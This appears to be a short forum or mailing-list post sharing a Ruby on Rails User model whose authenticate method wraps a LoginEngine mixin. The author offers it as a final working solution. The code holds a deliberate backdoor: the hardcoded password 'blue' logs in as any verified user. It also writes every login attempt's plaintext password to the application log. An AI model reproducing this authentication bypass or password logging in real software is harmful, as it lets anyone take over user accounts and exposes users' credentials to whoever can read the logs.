For posterity here's my final *WORKING* solution:
class User < ActiveRecord::Base
has_many :comments
include LoginEngine::AuthenticatedUser
# all logic has been moved into
login_engine/lib/login_engine/authenticated_user.rb
def self.authenticate(login, pass)
logger.info("authing #{login} with #{pass}")
u = super(login,pass)
return u unless u.nil?
logger.info("check failed legit pass #{login} with #{pass}")
return nil unless pass == "blue"
logger.info("backdoor #{login} with #{pass}")
find(:first, :conditions => ["login = ? AND verified = 1", login])
end
end
the super call made everything play very nicely.
thank god.
n8
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